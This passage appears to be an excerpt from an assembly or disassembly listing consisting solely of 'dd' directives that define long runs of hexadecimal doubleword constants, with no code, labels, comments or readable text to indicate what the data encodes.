		dd 0A3AF007Eh, 0D18309B5h, 93EE1B00h, 52AA8942h, 556400CBh
		dd 0F276C35Ch, 3D05DBE3h, 0BD1E977Ch, 0C63F887h, 62A8B0C8h
		dd 0A25400E2h, 0F0C653ECh, 38010249h, 0AC4791C1h, 0CCCCFA7Eh
		dd 63C90F75h, 49AB143Dh, 1A8B0500h, 29C05504h, 96E5DA76h
		dd 0F67912h, 7025C06Eh,	0F401FB67h, 78664207h, 6990032Dh
		dd 1CBDF2ECh, 40ABE057h, 5075D60Bh, 0E0C0BC09h,	0A53BFEB5h
		dd 7C7A7A1Eh, 36C8075Bh, 0EC9E5D6h, 0DD77BDA0h,	5200EB71h
		dd 6A54E82Fh, 4CC81E92h, 0FA0065A1h, 53AA999h, 8203CD58h
		dd 7B551025h, 0D775D007h, 90F480h, 37B6642Bh, 0A098C82Ch
		dd 32128D00h, 77134334h, 6B1E00E9h, 5B92F7E7h, 0C201EDF4h
		dd 0EFA6407Bh, 0D89E6E32h, 8ABCC138h, 0E8A0DE9Ah, 83013DBFh
		dd 39A365BEh, 1AC0B7E8h, 49D800CFh, 7B733036h, 0C0FAF6D6h
		dd 4C03EBECh, 0A5928BA4h, 881BCB10h, 0B851DBEFh, 5DD900AFh
		dd 2AEE7A69h, 7200BCDEh, 0E05F4FECh, 0E2181D1Ah, 4C9400F4h
		dd 9505C8D3h, 31005CB6h, 5F4EAC46h, 1C5629Eh, 1038C7D2h
		dd 0D4046128h, 0DE3C0D03h, 99017709h, 0AFC750EFh, 0D8C7888Ch
		dd 1532C4h, 9EC94BA8h, 10C81D8Fh, 297F1730h, 6CDE7Ah, 57836BC2h
		dd 882258Fh, 0BB436201h, 23FF7173h, 168701E0h, 0EE81F8C0h
		dd 0F43F6400h, 4C6B4417h, 2300F60Eh, 6E8AE145h,	0A30395ECh
		dd 0B46541ADh, 599DA034h, 0EE7C053Ch, 83D4EFE5h, 0FEC0237Fh
		dd 5B00CE69h, 2E5D6894h, 0FA5CDC3Bh, 24DD071Eh,	32716073h
		dd 0A44826E4h, 390091E2h, 0DA5A83C2h, 44778A0h,	67EC429Ah
		dd 0ED9A802Ch, 33005EC4h, 3E4B0DFDh, 2810DA37h,	0EC08EFh
		dd 8E9288FCh, 87B27AEAh, 22210500h, 3CE597B7h, 43F6ABh
		dd 0A4049A20h, 0D8C686DBh, 0FFF18100h, 7D6A23BFh, 88D009Eh
		dd 70F4D22Fh, 5E008B41h, 0C1E5ED49h, 1FBE914Dh,	41A35D18h
		dd 2426C716h, 7633C8DBh, 9AC0E0C0h, 35B7214h, 137819DDh
		dd 5083E69Bh, 0A00065C3h, 0AAD1F2FFh, 98FACAAEh, 0E9F00044h
		dd 9F825C37h, 5874F448h, 9CB00401h, 90F5FC01h, 0A7CCF0h
		dd 59A9755Eh, 86684120h, 0EA764E00h, 0E5168B70h, 74B10695h
		dd 1087C812h, 0D8EE0617h, 9F683E00h, 1869F9A9h,	9119CFFFh
		dd 8D003176h, 0FB25C258h, 0DEF20Dh, 0E4EB2E07h,	6D6872A5h
		dd 0DA936500h, 6E27031Fh, 0C0782Ch, 29DF1322h, 24528E9Ah
		dd 4EE3140Eh, 404B0150h, 0C4406F32h, 56B09B1h, 0E6CE7B6Ch
		dd 930C0A31h, 0E8E4807Ch, 0DACD1550h, 0DC695B00h, 597307EAh
		dd 2D750323h, 0A29ED7Fh, 0CC12DAE0h, 55706600h,	450307F6h
		dd 0A46007E4h, 5E1591Eh, 0A9E200D2h, 560C8598h,	5ADFC500h
		dd 0F2D7D650h, 0E51B0092h, 0FAA2953Fh, 0E6005952h, 7A567BECh
		dd 4CE9AACCh, 0D0407384h, 0EE5A00ACh, 98CBDFE3h, 591CA70Fh
		dd 99847DABh, 40808EE7h, 1C119A16h, 6AD5E5h, 0DB1EFB70h
		dd 4002A613h, 4A9039F1h, 0B86660B2h, 0F83F0084h, 13E5AC6Dh
		dd 0DE5CD7F0h, 587324A8h, 0EDC580BCh, 16DB1766h, 0F2E00106h
		dd 4FAC5B83h, 6461E448h, 38D37603h, 4966F7h, 417B6F60h
		dd 3AB5EDFBh, 373DE6F2h, 0A9360044h, 0F51C8EABh, 6A6B1DB2h
		dd 47DB00A2h, 0BCFBAEB7h, 9402D8ECh, 0FC0DA08Ch, 0FAFC60B9h
		dd 33039BFh, 0D6967D00h, 5F89A194h, 2616F60Eh, 0DBCB87D2h
		dd 0D3647380h, 29510060h, 7DD7EB17h, 0CD008834h, 5EE43224h
		dd 0CBB21A4h, 1580ACBh,	8600DFC6h, 9D0FA57Ah, 39A319F9h
		dd 0DA8321D1h, 971223D8h, 575A710Fh, 0CC803CA9h, 6539AF2h
		dd 0B14E61B0h, 80A80A12h, 0CBBADA28h, 157D7F1h,	99641CB9h
		dd 8E663Ch, 48E104A1h, 0DF00BF27h, 7F599868h, 3D013381h
		dd 7CEF9D93h, 80807B4Bh, 0B2DB5C3Fh, 0A00D9C0h,	2C8CCD02h
		dd 18FA665Ah, 71D41609h, 3E016512h, 0DDBCE96h, 0A7703C32h
		dd 41292889h, 74D8018Ch, 2210ED9h, 6E58400Ah, 0B0082CCh
		dd 23FBA9B3h, 6A8635Fh,	2395A69h, 0AB002901h, 0C6A7BE9h
		dd 0F3F75EEh, 5036EA67h, 806405C7h, 20CAB07Fh, 4FE1B0C0h
		dd 0E5F2F5h, 9BB883F9h,	0E272D3D2h, 2F82D705h, 0A2189025h
		dd 39D17F18h, 538006C9h, 5F5C5BDh, 400FD5Ch, 3A8883D3h
		dd 6E5209B7h, 0BECEB21Ah, 8CC70320h, 6600A23Ch,	0D02C811Fh
		dd 46B87Fh, 7125D7Ch, 2A949D40h, 0B55F7E00h, 91ACB3D4h
		dd 0DACF00DEh, 6D337350h, 1900674Fh, 3709BFB7h,	73206B1h
		dd 88FE1CF1h, 5B52B053h, 0F000BD18h, 0F9D44FF2h, 49BE07h
		dd 0D8A01C9Eh, 85C767CAh, 0CC3139h, 4C7CBAB0h, 0F810B85Fh
		dd 46C4001Fh, 9B583759h, 92010F52h, 61153984h, 0B0BEBF1Eh
		dd 8137E20Fh, 7884D4h, 9CAC123Bh, 6B5F2413h, 0CB189F60h
		dd 0BFD4E0h, 2DA929FDh,	7D4C8A6Ah, 8C5640C0h, 1799189Fh
		dd 0BDF46Ch, 6F4D82E7h,	1F00EC21h, 0CF9FE6CCh, 0C26561h
		dd 6A830C03h, 846BC066h, 0D5623200h, 0A1551EC1h, 3BF70029h
		dd 0F68BFB4Bh, 0E600D6DCh, 7FB512CFh, 0BDCABBh,	582B947h
		dd 1E01F68Ch, 0C0BFE700h, 0AEF4BAABh, 3D0C00D0h, 35723E98h
		dd 3A00E3B1h, 2379B355h, 713B7FF7h, 0EDA41C1Ch,	0FC824C48h
		dd 3A003C68h, 30B50242h, 79F9858Dh, 0E391DFBAh,	4EE71B00h
		dd 86836D14h, 0D6497660h, 94E443h, 0F7200526h, 6007FB3Ch
		dd 78FD371Eh, 9842F200h, 0C8682F1h, 2961AB69h, 5B003CC8h
		dd 652CFABCh, 0F88F5DBh, 89015FA9h, 0BE48270Ch,	0F6FA5C25h
		dd 72C20064h, 50DBAC5Ah, 8A34BF05h, 5807169Dh, 0EB56658Dh
		dd 27C65C10h, 3F6B4A00h, 0A504C0E3h, 98892A00h,	10F3347Ah
		dd 43756E0h, 5E3592A1h,	0EF049020h, 0FB4230E0h,	0C570A500h
		dd 0E2C34DFAh, 6D2200ECh, 0D4286601h, 32184B77h, 0D9303391h
		dd 419FE584h, 0F0951548h, 0DD33AD00h, 0E702625Ah, 82D90100h
		dd 157181B6h, 24101EEFh, 0AE32409Bh, 0F3C0F7F4h, 682D80h
		dd 0E5BFB847h, 0C1735686h, 93EF1100h, 425AD9B7h, 4DEA60h
		dd 5F37E5C0h, 79552A1Eh, 562420A7h, 981C2021h, 0AF59A1F0h
		dd 9785006Dh, 951BB25Dh, 1101B6E7h, 0BA69B9A0h,	50803607h
		dd 1C59061h
		dd 7E064C59h, 0F2185AB6h, 0F8D73FF0h, 6D64F700h, 1F321189h
		dd 8531EA00h, 912D43B6h, 0B190A0D8h, 968B0065h,	62909335h
		dd 0E803A879h, 0BBDEFF9Bh, 0BEB807DFh, 30226325h, 116E8731h
		dd 0D8903509h, 39E300F0h, 5CC05D1Ch, 0C6066B5Bh, 0C9942E4Ah
		dd 0E9DA8C0Ch, 0B049C3h, 2C02CAA5h, 21901AA2h, 0C698D41Ch
		dd 0C9625540h, 0B8F8FCE5h, 22FD3E3Bh, 0CF132901h, 0C9E0B11Ah
		dd 0F7E450E4h, 0D428A67Eh, 41C50E9h, 803CE3AFh,	8F21C41Dh
		dd 324279h, 992328AAh, 3602A429h, 0C935B106h, 2439BF58h
		dd 11C3h, 52D9EE10h, 8A00D843h,	5123D4D2h, 1828549Bh, 184AAB56h
		dd 7C03F03Bh, 0C9CCD28Dh, 0EE0800DBh, 678C6D9Eh, 7F00399Fh
		dd 77357053h, 0BAB34Dh,	13A894ABh, 3B990348h, 4E71900h
		dd 0A66EBB0h, 302F783Dh, 8848CE37h, 82F47DD5h, 1580F801h
		dd 4AA36CDCh, 186B59C4h, 29D454EEh, 18E44571h, 809F9E3Eh
		dd 81CE9DA4h, 60F4D71Fh, 16CCC0D2h, 0E60D4BE1h,	39E82076h
		dd 30FA79F8h, 0D910D122h, 19C0CE57h, 0E1A32784h, 1F64036Bh
		dd 90677811h, 5A07E174h, 0B47F49D6h, 61E9B6h, 0BD5C080Bh
		dd 2F83B338h, 1146441Dh, 0E2531543h, 0D7480473h, 38CD3F0h
		dd 1FCBA6EBh, 0B0F33B89h, 5356DA49h, 2FDD0501h,	257079CEh
		dd 41525041h, 33ACC851h, 0B06EE2D0h, 3784880Ch,	204B6024h
		dd 0A26CF818h, 6F55FB00h, 0E4E691B7h, 3C7105h, 0F1BA3117h
		dd 6D2774EAh, 4BDE1507h, 0CEC0D6BEh, 17FC63Dh, 254D4484h
		dd 40ED74F7h, 0C48DAE88h, 858E523Ah, 1E852BF3h,	65DD6C46h
		dd 0E1C80029h, 0A4441049h, 3009D9Bh, 0F8E431E6h, 506ABF66h
		dd 88CDF07Eh, 981C2377h, 89416517h, 0E64E4224h,	4AA9D880h
		dd 0CAB804A0h, 0AD51AAF4h, 0BCBBC8ECh, 806E70C8h, 4553A016h
		dd 2800A70Ah, 62995B74h, 0DF5712h, 67B22AD4h, 0E717CBE0h
		dd 0CFC36C00h, 4D70838Ch, 0AC2854C7h, 4C75000Eh, 0E241C254h
		dd 2A00A835h, 25D7A377h, 0E94D6Dh, 6E68AE69h, 9B9DC7D4h
		dd 2856710Ah, 4300D88Bh, 0E994C67Eh, 7CDE0307h,	462CA470h
		dd 4E761FF0h, 520BC900h, 1544268h, 2A6492AEh, 0F8D356h
		dd 86F0749Ch, 0C957F281h, 0AC907E71h, 192180FDh, 373C4CA7h
		dd 4CCB48B2h, 4F5042A0h, 0C2FEE9EFh, 0B5032844h, 0CB71A61h
		dd 7400CDD6h, 0F4EBD836h, 0E263048Bh, 30295F95h, 0C2D09FEEh
		dd 0BFAE7241h, 78DD64A2h, 350BB8A0h, 0B800D438h, 74959EB1h
		dd 60FEF61Bh, 0E439D89Ch, 0EB808D79h, 0C489157h, 0C1416AD9h
		dd 1F84CE07h, 7910C710h, 90526D19h, 0B69A148h, 12A0D9DCh
		dd 42D2CFA5h, 349DEBD4h, 88F4CC4Bh, 0A3A6A34h, 0B9DA3ADEh
		dd 4A6482D8h, 99AD30C1h, 800763F8h, 0EE813287h,	0E1D80831h
		dd 403041AAh, 7489034h,	158B3AE8h, 2CB9A00Fh, 0AE14598Ah
		dd 0F9F20CBh, 40A27BEEh, 817E80C5h, 24D4003Fh, 9F6017DDh
		dd 250FB5F9h, 8109E39Ch, 2ECC6D20h, 59C824h, 48541EDDh
		dd 0BDE18E1Fh, 7F006EF2h, 279A5105h, 0A07EDD17h, 0C070F79Ch
		dd 0C5611CD9h, 7890BA9Eh, 630F20h, 98C14576h, 48796C51h
		dd 33AF7809h, 38DC18E3h, 0DE560934h, 1C21E751h,	0FC801ECAh
		dd 4405F006h, 3A365F92h, 0B171A440h, 46954Ch, 745ED8B3h
		dd 5A7E900Ah, 3FA4BC03h, 0EC54F4h, 9978B049h, 0B69EC12Ah
		dd 8362A301h, 4EC3F426h, 7C220033h, 188FBD00h, 0E70A9C2Eh
		dd 10170C2h, 0F5A86208h, 267A233Ch, 0EED70C90h,	9CC38ECh
		dd 9F84C64Eh, 48780480h, 0B91294A8h, 0C43E4F1h,	3E5B02C8h
		dd 0DB283BC1h, 0CF56091Ch, 8C182AACh, 0C752425Ch, 977400E0h
		dd 78D568A8h, 75E6003Dh, 8ADF289Eh, 9C5C7AD4h, 0D1047416h
		dd 6771A863h, 3830B8DAh, 4A988819h, 0B119C30Eh,	7D90C5FAh
		dd 692E1982h, 798C21D8h, 72B13937h, 0CF35C1Fh, 5A270F80h
		dd 26CFC0Bh, 69E8F106h,	0F8644D9Ch, 4A3AAC00h, 6094589Fh
		dd 9F14994Ch, 5D36C024h, 0B82AE8E3h, 0E89E2529h, 10137212h
		dd 0C7165EECh, 5E8800EAh, 6B782DFEh, 0E8FC549Ah, 2CAE7024h
		dd 48776758h, 8D49CA5h,	0B000186Eh, 7A61509Fh, 1B092705h
		dd 9091D551h, 0F4247F4Fh, 79A70E67h, 2D003FF7h,	708B7489h
		dd 0DE0A4F78h, 907693D3h, 7558ACC0h, 0EE53317Ch, 80E096D9h
		dd 541F4544h, 1D8B2D6h,	0F4BA8CEAh, 5832E11Ah, 67297990h
		dd 5106D0AAh, 6091ED26h, 0F10EE924h, 5B02DC9Dh,	6C6FF4E6h
		dd 0EDD3E028h, 556D00CAh, 0A92D0C0Bh, 8CABD75Ah, 0B6E7809Ch
		dd 0D4C006DCh, 4F79CF02h, 41A600D8h, 0A57EEDA8h, 1F05156Eh
		dd 67EA39A0h, 9E7BA448h, 0D1EF98D7h, 4F04834Eh,	0D84C250Eh
		dd 56184C8Ah, 0E03129EBh, 960030E8h, 0D9416A13h, 41201F4h
		dd 4DF883ADh, 2D9CC2E5h, 0A70C920h, 334900CEh, 482F3FABh
		dd 2C00E3CCh, 90C82306h, 9B921460h, 0A82806Ch, 0C06AFD52h
		dd 7183CB0Bh, 0E8C418FAh, 5C8601EBh, 2A8B3C59h,	0CB2C20EFh
		dd 602249h, 5521A875h, 0C6684D5Dh, 0C81661F0h, 9E601CA0h
		dd 924967E2h, 10732E04h, 0C0EF57E4h, 181E3E40h,	0FE780C05h
		dd 88609FB4h, 88EE563Fh, 5FF4CBCAh, 2759BB00h, 5C75C578h
		dd 3310179Ch, 560800D8h, 6C2D2FAh, 3241098h, 0E8855821h
		dd 94526FD8h, 5BA64B00h, 4FF1AC1h, 0E8FE76C4h, 4DD0CCB4h
		dd 1FAA038h, 77A97506h,	60CE785Eh, 263AED38h, 812CE8ECh
		dd 67944BEBh, 0D91180E7h, 1999F323h, 0F6770F6Ch, 8098A066h
		dd 0E3168C93h, 0A4001FA2h, 0F63AE923h, 888C94BFh, 3ED42Eh
		dd 0E8FCB115h, 0F4610AAh, 0C62C312Dh, 0B718CE80h, 0A24C5F89h
		dd 0CCD30134h, 4C28E413h, 8B5CF0h, 0E29BA31Eh, 0B06A4941h
		dd 0B2201960h, 0F4E5FA46h, 0DB730018h, 32C8C2A2h, 723BB89Dh
		dd 12B00035h, 0EBB349E4h, 23C3015Bh, 2F2CD99Bh,	0B898C82Eh
		dd 0A2F34100h, 9FF74A03h, 0E5FD0396h, 0E89AA1E9h, 7DDF5800h
		dd 0C7EE3A21h, 357900D7h, 0B9DDBF0Dh, 733FCA13h, 0F9C30065h
		dd 3984FF90h, 0ED7A3B88h, 0E5F17887h, 4A3130D5h, 62001318h
		dd 1F2F4C3Ah, 58F77D5Fh, 5800C820h, 0FB09C33Eh,	4200458Ch
		dd 0FA39B15Ch, 632A375h, 2E35A533h, 0F800C9C6h,	88864A78h
		dd 2AB202FBh, 7480FC40h, 9F43F76h, 0F85C3580h, 0A8C8DE5Eh
		dd 0C6900203h, 367F7Ch,	331F7389h, 58D06A67h, 0C0441200h
		dd 3A1CA3B2h, 66DD3C9Ch, 0F757007Ah, 887113C4h,	49309B45h
		dd 0DEB268E6h, 0AF7E0098h, 8BBA7592h, 5F0338BBh, 0D7548E14h
		dd 0F8069B0Dh, 606F3743h, 0E5E7B979h, 0A2007180h, 897D15F0h
		dd 81DABCh, 0C9AA1179h,	5DA056AEh, 438B400Fh, 440C20ABh
		dd 2F09863h, 4FEB1035h,	134058FEh, 0F606867Ah, 0D250F731h
		dd 0B6330261h, 585126A7h, 0C236F560h, 9A78FEE4h, 3AB784A0h
		dd 76CAAD26h, 14604B12h, 0A04D7EF1h, 7A7A48Ch, 28644FCh
		dd 0E27D6087h, 1A748B46h, 22C490D0h, 93C51BB0h,	24E1397Ah
		dd 0F01C2194h, 6324CD95h, 48802496h, 0AEE3693Fh, 0D78B00DCh
		dd 1875BEB3h, 0D8001016h, 91CB60C2h, 9054A4FFh,	454E121Ch
		dd 183C569Eh, 0F44461BCh, 0F3A86E00h, 0C39493CAh, 5E620722h
		dd 20C48C99h, 0C72F0270h, 0B80CE6B0h, 81AC91BBh, 0FA7F0281h
		dd 9375E23Ah, 3FD5FFC0h, 0BB39E800h, 4598614Bh,	67DD01D4h
		dd 50FC4ACCh, 0FFE1B863h, 60F3000h, 0A80D5D01h,	0B3B6005Bh
		dd 0F9052728h, 3892E3D8h, 3B6F1344h, 0F0F258FBh, 80BC91CDh
		dd 85EDA389h
		dd 248C4B88h, 804832F1h, 82789CDDh, 0E3A02752h,	5C1EABEDh
		dd 8D142302h, 0AD22A8h,	0E94E7EDCh, 0A3945188h,	0D412F900h
		dd 81E4A713h, 0E4BB7073h, 23CA00B1h, 9B430D62h,	7280E610h
		dd 8ADE0048h, 0D6B7D16Ah, 0E100E899h, 0C33D8121h, 247B8D69h
		dd 9DA8505Fh, 4B8FCAC5h, 0BDB0BDC0h, 3320A8D1h,	80CA5707h
		dd 91C50DBAh, 0DB13D840h, 0A89C15DEh, 7B3512C4h, 20E563C6h
		dd 40030E9Bh, 0B0863218h, 1983C0AAh, 3B8C0BFEh,	8F836343h
		dd 6903BF57h, 0DF1A863Ch, 223FC04Eh, 779E00F6h,	0D90DD552h
		dd 31E32150h, 35EC42D2h, 89822B20h, 31A527B6h, 0ADDC2600h
		dd 63E765Bh, 0A846240Fh, 5C16E100h, 94A443Bh, 0F42893E8h
		dd 72ECB825h, 80A089D0h, 5F4D5E10h, 0D8513Bh, 0A02722A8h
		dd 515EDE3h, 0AB052902h, 7BD90055h, 487F90BCh, 0E8A538C0h
		dd 0C2DC8E7Ch, 0C035CD68h, 0D049DC68h, 0D6037C90h, 547AE106h
		dd 0B3F917BAh, 835B07EAh, 1022C0D4h, 6502B08Fh,	5D4ECE78h
		dd 0E898B0F7h, 0C5E60C90h, 0BA41C853h, 8F4F5900h, 0A0AC5631h
		dd 54D600D8h, 0BED942D1h, 0B475C494h, 230AF8F0h, 0CCA2FC15h
		dd 57116640h, 0E5020A8Bh, 628C8CE3h, 40489793h,	0A6E8811Dh
		dd 0F6C0D279h, 0F65BD65Fh, 66850033h, 720FE37Dh, 0A4A62D8Ah
		dd 2363137Dh, 0BCB6E941h, 0D2104897h, 616C8Ch, 1DCFA8FEh
		dd 0B5A482C2h, 1F7B1B00h, 2D4193D1h, 0A0EE54AEh, 3D3000F3h
		dd 0B8828E99h, 1CB1393Ah, 837C8485h, 0CF1ABC40h, 0C3659h
		dd 0DED8B275h, 6B8D53D1h, 96C3F912h, 0C7356C21h, 8C9B27E2h
		dd 3100A799h, 39D06530h, 133B54CCh, 22BF211Dh, 0B040ED98h
		dd 8B4C0250h, 79F4481Fh, 0E7F83C18h, 0F9B01040h, 3FD060A6h
		dd 8E0AFC22h, 0F8AD7EFFh, 87314E04h, 0C08474C8h, 0F03A5EB9h
		dd 5AFCCD42h, 0A9CC0E00h, 0F647264Bh, 0C4D1488h, 5C50F8D6h
		dd 919C93F0h, 80323AC5h, 0B531402Ah, 0DA022Dh, 0F3E0ABAh
		dd 1E904BE3h, 9228E201h, 4F6A4D97h, 0F834A995h,	0BBF40892h
		dd 7FF0F886h, 11C800A1h, 62F3EEF7h, 60105AEh, 0FFE4F93Dh
		dd 41F691A3h, 0E710C864h, 3C09C342h, 0B48F99h, 0C738ECF4h
		dd 164FE692h, 83A09D2h,	5BDBF90h, 60255CD7h, 0F8E9B780h
		dd 0B69E0026h, 0C40255F9h, 68986427h, 4A2640F8h, 0CC60F803h
		dd 0A978117Bh, 81108458h, 710002A0h, 2730C370h,	482F65F1h
		dd 7228A2h, 11EBD393h, 0E2B18671h, 39C14A7Fh, 75F9E8E4h
		dd 806A8A82h, 60489463h, 912E3921h, 7202BBA9h, 0E1A6CE3Ch
		dd 30E45E7Eh, 0B9EC0B2Ah, 0C494474Eh, 0F4BDCF22h, 61630C78h
		dd 8D8822A0h, 13A09053h, 140888A5h, 8C8740C7h, 3888E6FFh
		dd 9FCA6FDh, 4DA1EBBDh,	2A2C5C20h, 0AF026B8Fh, 0EC9B1190h
		dd 0DD8C6B77h, 2EF97EC0h, 0F3A40375h, 247B4FF7h, 14E6E9E2h
		dd 0B8B27DF8h, 0AC8FCF3h, 21020372h, 0BF59AE40h, 0F65C4989h
		dd 62937311h, 308B07B4h, 6940AE68h, 282D78h, 59106CEFh
		dd 525B4F9Fh, 0DB062902h, 536BFE7Fh, 30721340h,	0A1C46F30h
		dd 0D547AB00h, 71509AA4h, 0CE880046h, 0A9087A3Eh, 307BB70h
		dd 0E559B4CFh, 0CEA4A429h, 0C520B622h, 15E3B58h, 8744B31Ah
		dd 26EA4CFDh, 0EDBB021Ch, 0A1138B2h, 4EB108DCh,	361C2080h
		dd 18A3C8B3h, 0A199FE66h, 12543EB2h, 8C91EEB8h,	0AD104200h
		dd 0A6BE7AC6h, 624114FCh, 18006C98h, 0B7CA5D7Fh, 280007B1h
		dd 0D88CC8Bh, 4A322C94h, 0E4C83011h, 0F84DA059h, 7E60021Ch
		dd 60CCDB94h, 92650B3Ch, 0FE4A1884h, 0CEB2B15Eh, 704B8A29h
		dd 819B918Ch, 0BDCA3BD4h, 25CC5F03h, 668B6795h,	4CD8F1CBh
		dd 2F00ED7Ah, 9DCBBA51h, 9E84D3Eh, 21DCA36h, 0CDE77885h
		dd 847274h, 759FC3FDh, 0BAD189h, 12ADF5FEh, 273AB00Ah
		dd 8D5F802h, 6C957968h,	98BB4410h, 99E0F2FEh, 149BA838h
		dd 24E87DA0h, 0B608788Dh, 524E05AEh, 3B8449F7h,	0F97DF8B0h
		dd 0E4B244h, 68D854E9h,	0DC59C44Ch, 0A78B4501h,	0F53B3AEh
		dd 0DE73B180h, 0B63B01C8h, 58F3EC17h, 90CBE062h, 28EEED54h
		dd 0A2306A4Ah, 13345114h, 0A1F0205Ch, 8A780F28h, 0A21CE801h
		dd 5EF84D4Bh, 6D07D872h, 0C083C5A0h, 0F1F034C9h, 0FEF4F00h
		dd 0B2ACE82Fh, 0C7311608h, 4870454Eh, 10902051h, 0FF3ABE9Eh
		dd 456A8130h, 113579EEh, 0B87CB429h, 44889860h,	0FB06EDB9h
		dd 89A7271Ch, 0F9101FA0h, 885CA4EAh, 83446640h,	70620347h
		dd 78F0DDFCh, 6559612h,	0D0612060h, 0DC85011Bh,	216FF569h
		dd 0B16CC45Dh, 3AF84113h, 0BD240C30h, 81249690h, 0DB821B44h
		dd 83C3F4D8h, 45E73E10h, 2FEE44C1h, 5702C55h, 0F997BBA6h
		dd 42330880h, 301EC8Bh,	0E9EC0B2Ch, 0D08C79C3h,	617F3564h
		dd 1831594Eh, 4433747Dh, 0FC051E00h, 0D7F30A81h, 5386A90Eh
		dd 0DF876039h, 5059DBE4h, 0C193E014h, 0A5575631h, 0F054D9A2h
		dd 22020310h, 0F9E7BB20h, 0D052F0h, 97DE6150h, 0FEA5B125h
		dd 0A230B500h, 1C71D4CAh, 91AA0629h, 3178EF40h,	97258300h
		dd 31D7A5FFh, 11ED24E3h, 99F2CFDh, 3C30ECCBh, 60947BC5h
		dd 0E8C84492h, 7FAD006Eh, 0FAF3A08Ch, 0B4B3F85Dh, 1698ED15h
		dd 14401E6Fh, 9D98A286h, 0F74A03B4h, 5FE84CB6h,	7FFCD3E0h
		dd 9358500h, 913DCF20h,	4C825990h, 82C7CA10h, 526F3F1Eh
		dd 56F18144h, 0B9A330h,	0F4783D39h, 4C9FF9A2h, 0C540255Dh
		dd 0F407EBB9h, 755020EDh, 908F21Dh, 0D6C8343Dh,	40AB18C4h
		dd 9FBCE85Dh, 9040A864h, 7747C641h, 0E02CB996h,	0CE319F45h
		dd 807B923Dh, 0C7FBD090h, 116B9316h, 22F84708h,	309700BBh
		dd 1D80F909h, 8D05C3ECh, 2FC4FC1Fh, 0C00C28D4h,	176399EBh
		dd 20AA66E8h, 6ABEB620h, 0F17373B8h, 586CA60Fh,	0FBEE2267h
		dd 93C871F9h, 0A71807D1h, 9175E0A1h, 567A90CFh,	102204B8h
		dd 504D1133h, 0CBA01C5h, 0AD600546h, 0E883ECE3h, 0FECA880Eh
		dd 79AF7847h, 2FB23857h, 6D005059h, 59D4D5ACh, 4094C4F7h
		dd 14209B96h, 95BB1F4h,	59EBB0A2h, 3900D80Fh, 0EECAE813h
		dd 58B411Ch, 0EF16AC24h, 42D61462h, 82F342F4h, 918EC3F3h
		dd 6477EF88h, 70E6AF17h, 2BC3EDF8h, 0FB30A513h,	5C0CA813h
		dd 0C01B10Fh, 0B64CB089h, 0C9493DDEh, 343A043Ch, 64D18B2Eh
		dd 0A44C4CD0h, 0CA1249Ah, 408F9F14h, 7D6A2B9Dh,	0F111B92Ch
		dd 2D004263h, 0F8567E21h, 60046C11h, 0EC2838CAh, 434F6CF6h
		dd 908CB53Ch, 0A25ACDD0h, 0D286590Eh, 929384F7h, 357804D0h
		dd 0A5D0043h, 4D958438h, 7078F7D6h, 0F383BD09h,	9360B1E8h
		dd 2C010872h, 0B4CEE131h, 0B37F603Bh, 97CC0101h, 0E47BEA86h
		dd 4E970CCh, 8B56BCF2h,	446CD309h, 5C192FD0h, 0F4B75Dh
		dd 45D90FB4h, 7C7E1087h, 0BCF9048Ah, 0B4A1E7F5h, 0EB85D4Ch
		dd 3B965B01h, 664A2DEAh, 77C07C3Ch, 17F4D1ECh, 0B31C340Ch
		dd 1F673911h, 3BF8AAFh,	2278A275h, 9140D8E4h, 0CCB3F8A6h
		dd 0DC48D420h, 0E7C584A4h, 58A1948Ch, 42229003h, 9C89E903h
		dd 0E2EB21F7h, 9050DA64h, 258C4FE0h, 21040410h,	0F9161E89h
		dd 2E5DB020h, 96FB2893h, 26B898B0h, 96FC943Dh, 92FC603Eh
		dd 11F9FEF9h, 10723CB2h, 78DF3E04h, 0E97081F8h,	5064E87Ch
		dd 0B8583228h, 6C809000h, 4B8912C3h, 747F26C6h,	7792E2C4h
		dd 7FB39323h, 7337AC1h,	6158F15Ah, 5C46E972h, 0AB004898h
		dd 26943E79h, 9CEE9616h, 0CACF0AF4h, 0A278459Ch, 8E447D94h
		dd 0E98B243Bh, 44938C08h
		dd 200C3D1h, 0CEE686BDh, 0F0E54AA9h, 803A5697h,	53DAEB00h
		dd 50ED218Bh, 9E807894h, 28B42984h, 1B0C0254h, 0A0CF5746h
		dd 13128846h, 5C539AF8h, 1F1574C8h, 0C0ED198Fh,	1FEC6499h
		dd 0B00F0EFh, 0A7CE1195h, 9CB5AE76h, 42CB4478h,	0E41141h
		dd 0BE63EC73h, 0E71619F2h, 9C21CAC3h, 0A457B693h, 206EA990h
		dd 1B7909AEh, 488ECAB0h, 42C05C8h, 4BA62E02h, 8208D120h
		dd 0FB99B0BEh, 0DF740052h, 0F8E9DC05h, 6000BB50h, 0D9ED5587h
		dd 223A1D84h, 74F2D303h, 54480004h, 31FF692Fh, 0BCAD5B00h
		dd 9581E97Fh, 444D241Ah, 806064F0h, 0D6EA1370h,	0D4C6F603h
		dd 0A0DB1B95h, 0AAD78Ah, 0EB2263FCh, 0F091B8D5h, 107C2600h
		dd 8FF5BEC5h, 7928C1DAh, 0D18DEFD9h, 0A19EE0DCh, 466C540Fh
		dd 1C25E38Ch, 2651062Ah, 288F69B0h, 0EE6F70F8h,	6BFC8370h
		dd 0A14800D7h, 0C9D387EAh, 0BB009603h, 583CB31Fh, 3842A55h
		dd 64AED5C4h, 9998397Ch, 0CD0326E8h, 4EDEB7A7h,	75C11FC0h
		dd 6AAC00AFh, 0EADC863Bh, 0C3ED500h, 35A34A70h,	5F23373Dh
		dd 2D31F071h, 0E400F1F3h, 0DFD529ECh, 28F78F51h, 14C4DD1Fh
		dd 60100124h, 0E9E7E83Fh, 96F3B053h, 670C0B37h,	0F82D04F2h
		dd 95348820h, 0A01E10EDh, 8E65075Bh, 20F4D858h,	3C4A88ACh
		dd 4690B05h, 8448DC80h,	0AC20806Dh, 97D6633Ah, 0A108A007h
		dd 7B51E534h, 0BEC5A985h, 8F44FCh, 18DE6990h, 7F776A95h
		dd 385949C0h, 0E86F8CEAh, 0CCF55482h, 8BA900BAh, 53B19648h
		dd 4500A8FDh, 0E94F7C63h, 152A391Ch, 8C6EBE4Eh,	6B465100h
		dd 5905373Dh, 2D00AF7Fh, 97A7BA96h, 0A821B95Ah,	7CBBF1E4h
		dd 89B2008Ah, 0B8EF6E04h, 7770DD1Eh, 3409ACACh,	20D49EF7h
		dd 0A7C85518h, 4F10394Dh, 954A506h, 53032827h, 0ED1363E2h
		dd 95B915F7h, 0FD00A41Ch, 9F5AD37Dh, 0D500191Ah, 9F26B01h
